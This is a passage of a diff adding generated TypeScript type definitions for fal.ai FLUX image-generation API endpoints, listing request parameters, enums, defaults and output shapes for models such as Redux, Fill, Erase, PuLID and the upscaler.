RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProV11UltraFinetunedOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProV11UltraFinetunedOutputFormatEnumKey = + (typeof inputFalAiFluxProV11UltraFinetunedOutputFormatEnum)[keyof typeof inputFalAiFluxProV11UltraFinetunedOutputFormatEnum] + +export const inputFalAiFluxProV11UltraFinetunedSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProV11UltraFinetunedSafetyToleranceEnumKey = + (typeof inputFalAiFluxProV11UltraFinetunedSafetyToleranceEnum)[keyof typeof inputFalAiFluxProV11UltraFinetunedSafetyToleranceEnum] + +export const inputFalAiFluxProV11UltraFinetunedAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxProV11UltraFinetunedAspectRatioKey = + (typeof inputFalAiFluxProV11UltraFinetunedAspectRatio)[keyof typeof inputFalAiFluxProV11UltraFinetunedAspectRatio] + +export type InputFalAiFluxProV11UltraFinetuned = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProV11UltraFinetunedOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProV11UltraFinetunedSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description References your specific model + * @type string + */ + finetune_id: string + /** + * @description + * Controls finetune influence. + * Increase this value if your target concept isn't showing up strongly enough. + * The optimal setting depends on your finetune and prompt + * + * @minimum 0 + * @maximum 2 + * @type number + */ + finetune_strength: number + /** + * @description Generate less processed, more natural-looking images. + * @default false + * @type boolean | undefined + */ + raw?: boolean + /** + * @description The image URL to generate an image from. + */ + image_url?: string | null + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description The strength of the image prompt, between 0 and 1. + * @minimum 0 + * @maximum 1 + * @default 0.1 + * @type number | undefined + */ + image_prompt_strength?: number + /** + * @description The aspect ratio of the generated image. + * @default 16:9 + */ + aspect_ratio?: + | InputFalAiFluxProV11UltraFinetunedAspectRatioKey + | (string & {}) +} + +export type OutputFalAiFluxProV11UltraFinetuned = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProV11UltraReduxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProV11UltraReduxOutputFormatEnumKey = + (typeof inputFalAiFluxProV11UltraReduxOutputFormatEnum)[keyof typeof inputFalAiFluxProV11UltraReduxOutputFormatEnum] + +export const inputFalAiFluxProV11UltraReduxSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProV11UltraReduxSafetyToleranceEnumKey = + (typeof inputFalAiFluxProV11UltraReduxSafetyToleranceEnum)[keyof typeof inputFalAiFluxProV11UltraReduxSafetyToleranceEnum] + +export const inputFalAiFluxProV11UltraReduxAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxProV11UltraReduxAspectRatioKey = + (typeof inputFalAiFluxProV11UltraReduxAspectRatio)[keyof typeof inputFalAiFluxProV11UltraReduxAspectRatio] + +export type InputFalAiFluxProV11UltraRedux = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProV11UltraReduxOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProV11UltraReduxSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Generate less processed, more natural-looking images. + * @default false + * @type boolean | undefined + */ + raw?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The image URL to generate an image from. Needs to match the dimensions of the mask. + * @example https://fal.media/files/kangaroo/acQvq-Kmo2lajkgvcEHdv.png + * @type string + */ + image_url: string + /** + * @description The prompt to generate an image from. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description The strength of the image prompt, between 0 and 1. + * @minimum 0 + * @maximum 1 + * @default 0.1 + * @type number | undefined + */ + image_prompt_strength?: number + /** + * @description The aspect ratio of the generated image. + * @default 16:9 + */ + aspect_ratio?: InputFalAiFluxProV11UltraReduxAspectRatioKey | (string & {}) +} + +export type OutputFalAiFluxProV11UltraRedux = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSize7De3Ab83 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxProV11ReduxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProV11ReduxOutputFormatEnumKey = + (typeof inputFalAiFluxProV11ReduxOutputFormatEnum)[keyof typeof inputFalAiFluxProV11ReduxOutputFormatEnum] + +export const inputFalAiFluxProV11ReduxSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProV11ReduxSafetyToleranceEnumKey = + (typeof inputFalAiFluxProV11ReduxSafetyToleranceEnum)[keyof typeof inputFalAiFluxProV11ReduxSafetyToleranceEnum] + +export const inputFalAiFluxProV11ReduxImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxProV11ReduxImageSizeKey = + (typeof inputFalAiFluxProV11ReduxImageSize)[keyof typeof inputFalAiFluxProV11ReduxImageSize] + +export type InputFalAiFluxProV11Redux = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProV11ReduxOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProV11ReduxSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize7De3Ab83 | InputFalAiFluxProV11ReduxImageSizeKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The image URL to generate an image from. Needs to match the dimensions of the mask. + * @example https://fal.media/files/kangaroo/acQvq-Kmo2lajkgvcEHdv.png + * @type string + */ + image_url: string + /** + * @description The prompt to generate an image from. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean +} + +export type OutputFalAiFluxProV11Redux = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProV1EraseOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProV1EraseOutputFormatEnumKey = + (typeof inputFalAiFluxProV1EraseOutputFormatEnum)[keyof typeof inputFalAiFluxProV1EraseOutputFormatEnum] + +/** + * @description Input for the FLUX Erase endpoint. + * + * FLUX Erase removes content from images using a black/white mask. + * @type object + */ +export type InputFalAiFluxProV1Erase = { + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProV1EraseOutputFormatEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of a black/white mask image where white (255) marks pixels to erase and black (0) marks pixels to keep. Needs to match the dimensions of the input image. + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/mask_knight.jpeg + * @type string + */ + mask_url: string + /** + * @description The URL of the input image to erase content from. + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/knight.jpeg + * @type string + */ + image_url: string + /** + * @description Number of pixels to expand the mask edges by. Higher values produce cleaner erase results around the masked region. + * @minimum 0 + * @maximum 100 + * @default 10 + * @type integer | undefined + */ + dilate_pixels?: number +} + +export type OutputFalAiFluxProV1Erase = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProV1FillOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProV1FillOutputFormatEnumKey = + (typeof inputFalAiFluxProV1FillOutputFormatEnum)[keyof typeof inputFalAiFluxProV1FillOutputFormatEnum] + +export const inputFalAiFluxProV1FillSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProV1FillSafetyToleranceEnumKey = + (typeof inputFalAiFluxProV1FillSafetyToleranceEnum)[keyof typeof inputFalAiFluxProV1FillSafetyToleranceEnum] + +export type InputFalAiFluxProV1Fill = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProV1FillOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProV1FillSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The mask URL to inpaint the image. Needs to match the dimensions of the input image. + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/mask_knight.jpeg + * @type string + */ + mask_url: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The image URL to generate an image from. Needs to match the dimensions of the mask. + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/knight.jpeg + * @type string + */ + image_url: string + /** + * @description The prompt to fill the masked part of the image. + * @example A knight in shining armour holding a greatshield with "FAL" on it + * @type string + */ + prompt: string + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean +} + +export type OutputFalAiFluxProV1Fill = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProV1FillFinetunedOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProV1FillFinetunedOutputFormatEnumKey = + (typeof inputFalAiFluxProV1FillFinetunedOutputFormatEnum)[keyof typeof inputFalAiFluxProV1FillFinetunedOutputFormatEnum] + +export const inputFalAiFluxProV1FillFinetunedSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiFluxProV1FillFinetunedSafetyToleranceEnumKey = + (typeof inputFalAiFluxProV1FillFinetunedSafetyToleranceEnum)[keyof typeof inputFalAiFluxProV1FillFinetunedSafetyToleranceEnum] + +export type InputFalAiFluxProV1FillFinetuned = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProV1FillFinetunedOutputFormatEnumKey + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFluxProV1FillFinetunedSafetyToleranceEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description References your specific model + * @type string + */ + finetune_id: string + /** + * @description + * Controls finetune influence. + * Increase this value if your target concept isn't showing up strongly enough. + * The optimal setting depends on your finetune and prompt + * + * @minimum 0 + * @maximum 2 + * @type number + */ + finetune_strength: number + /** + * @description The mask URL to inpaint the image. Needs to match the dimensions of the input image. + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/mask_knight.jpeg + * @type string + */ + mask_url: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The image URL to generate an image from. Needs to match the dimensions of the mask. + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/knight.jpeg + * @type string + */ + image_url: string + /** + * @description The prompt to fill the masked part of the image. + * @example A knight in shining armour holding a greatshield with "FAL" on it + * @type string + */ + prompt: string + /** + * @description Whether to enhance the prompt for better results. + * @default false + * @type boolean | undefined + */ + enhance_prompt?: boolean +} + +export type OutputFalAiFluxProV1FillFinetuned = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxProV1VtoOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxProV1VtoOutputFormatEnumKey = + (typeof inputFalAiFluxProV1VtoOutputFormatEnum)[keyof typeof inputFalAiFluxProV1VtoOutputFormatEnum] + +export type InputFalAiFluxProV1Vto = { + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxProV1VtoOutputFormatEnumKey + /** + * @description The URL of the person image that the garment will be applied onto. The output keeps this image's aspect ratio. Maximum 2 megapixels; recommended under 1 MP. + * @example https://storage.googleapis.com/falserverless/model_tests/leffa/person_image.jpg + * @type string + */ + human_image_url: string + /** + * @description Natural-language styling instructions describing how the garment should be worn on the person (e.g. tucked in, layered, sleeves rolled up). + * @example A natural front-facing studio shot. The t-shirt is worn tucked in. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The same seed and the same input will output the same image every time. If not provided, a random seed is used. + */ + seed?: number | null + /** + * @description The URL of the garment reference image. Maximum 1 megapixel; recommended around 0.5 MP. Multiple garments must be merged into a single composite image before submission. + * @example https://storage.googleapis.com/falserverless/model_tests/leffa/tshirt_image.jpg + * @type string + */ + garment_image_url: string +} + +export type OutputFalAiFluxProV1Vto = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: RegistryImageFastSdxlModelsImage[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSize22C1Ddba = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiFluxPulidMaxSequenceLengthEnum = { + '128': '128', + '256': '256', + '512': '512', +} as const + +export type InputFalAiFluxPulidMaxSequenceLengthEnumKey = + (typeof inputFalAiFluxPulidMaxSequenceLengthEnum)[keyof typeof inputFalAiFluxPulidMaxSequenceLengthEnum] + +export const inputFalAiFluxPulidImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxPulidImageSizeKey = + (typeof inputFalAiFluxPulidImageSize)[keyof typeof inputFalAiFluxPulidImageSize] + +export type InputFalAiFluxPulid = { + /** + * @description The prompt to generate an image from. + * @example a woman holding sign with glowing green text 'PuLID for FLUX' + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 20 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The weight of the ID loss. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + id_weight?: number + /** + * @description The maximum sequence length for the model. + * @default '128' + * @type string | undefined + */ + max_sequence_length?: InputFalAiFluxPulidMaxSequenceLengthEnumKey + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize22C1Ddba | InputFalAiFluxPulidImageSizeKey + /** + * @description The weight of the CFG loss. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type number | undefined + */ + true_cfg?: number + /** + * @description URL of image to use for inpainting. + * @example https://storage.googleapis.com/falserverless/gallery/example_inputs_liuyifei.png + * @type string + */ + reference_image_url: string + /** + * @description The prompt to generate an image from. + * @default '' + * @example bad quality, worst quality, text, signature, watermark, extra limbs + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of steps to start the CFG from. + * @minimum 0 + * @maximum 50 + * @default 0 + * @type integer | undefined + */ + start_step?: number +} + +export type ImageA88A5D30 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputFalAiFluxPulid = { + /** + * @description The generated image files info. + * @type array + */ + images: ImageA88A5D30[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type InputFalAiFluxVisionUpscaler = { + /** + * @description The URL of the image to upscale. + * @example https://storage.googleapis.com/falserverless/gallery/NOCA_Mick-Thompson.resized.resized.jpg + * @type string + */ + image_url: string + /** + * @description The seed to use for the upscale. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description Number of inference steps (4-50). + * @minimum 4 + * @maximum 50 + * @default 20 + * @type integer | undefined + */ + steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The creativity of the model. The higher the creativity, the more the model will deviate from the original. Refers to the denoise strength of the sampling. + * @minimum 0 + * @maximum 1 + * @default 0.3 + * @type number | undefined + */ + creativity?: number + /** + * @description CFG/guidance scale (1-4). Controls how closely the model follows the prompt. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + guidance?: number + /** + * @description The upscale factor (1-4x). + * @minimum 1 + * @maximum 4 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image22458Eb5 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiFluxVisionUpscaler = { + /** + * @description The timings of the different steps in the workflow. + * @example {"inference":52.8} + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description The seed used to generate the image. + * @example 42 + * @type integer + */ + seed: number + /** + * @description The URL of the generated image. + * @example {"height":2048,"content_type":"image/png","url":"https://v3b.fal.media/files/b/panda/20TZeUQtQ8oKgsCKXSL81_StableSR_00002_.png","file_size":8842156,"width":2048,"file_name":"20TZeUQtQ8oKgsCKXSL81_StableSR_00002_.png"} + * @type object + */ + image: Image22458Eb5 + /** + * @description The VLM-generated caption used for upscaling. + * @example A highly detailed upscaled photograph featuring sharp edges and enhanced textures. The image shows improved clarity in fine details with natural color preservation and minimal artifacts. + * @type string + */ + caption: string +} + +export type ImageSizeC55A97Ed = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxDevAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxDevAccelerationEnumKey = + (typeof inputFalAiFluxDevAccelerationEnum)[keyof typeof inputFalAiFluxDevAccelerationEnum] + +export const inputFalAiFluxDevImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxDevImageSizeKey = + (typeof inputFalAiFluxDevImageSize)[keyof typeof inputFalAiFluxDevImageSize] + +export const inputFalAiFluxDevOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxDevOutputFormatEnumKey = + (typeof inputFalAiFluxDevOutputFormatEnum)[keyof typeof inputFalAiFluxDevOutputFormatEnum] + +export type InputFalAiFluxDev = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxDevAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeC55A97Ed | InputFalAiFluxDevImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxDevOutputFormatEnumKey +} + +export type ImageF66Cf753 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFluxDev = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: ImageF66Cf753[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiFluxDevImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxDevImageToImageAccelerationEnumKey = + (typeof inputFalAiFluxDevImageToImageAccelerationEnum)[keyof typeof inputFalAiFluxDevImageToImageAccelerationEnum] + +export const inputFalAiFluxDevImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxDevImageToImageOutputFormatEnumKey = + (typeof inputFalAiFluxDevImageToImageOutputFormatEnum)[keyof typeof inputFalAiFluxDevImageToImageOutputFormatEnum] + +export type InputFalAiFluxDevImageToImage = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxDevImageToImageAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A cat dressed as a wizard with a background of a mystic forest. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/koala/Chls9L2ZnvuipUTEwlnJC.png + * @type string + */ + image_url: string + /** + * @description The strength of the 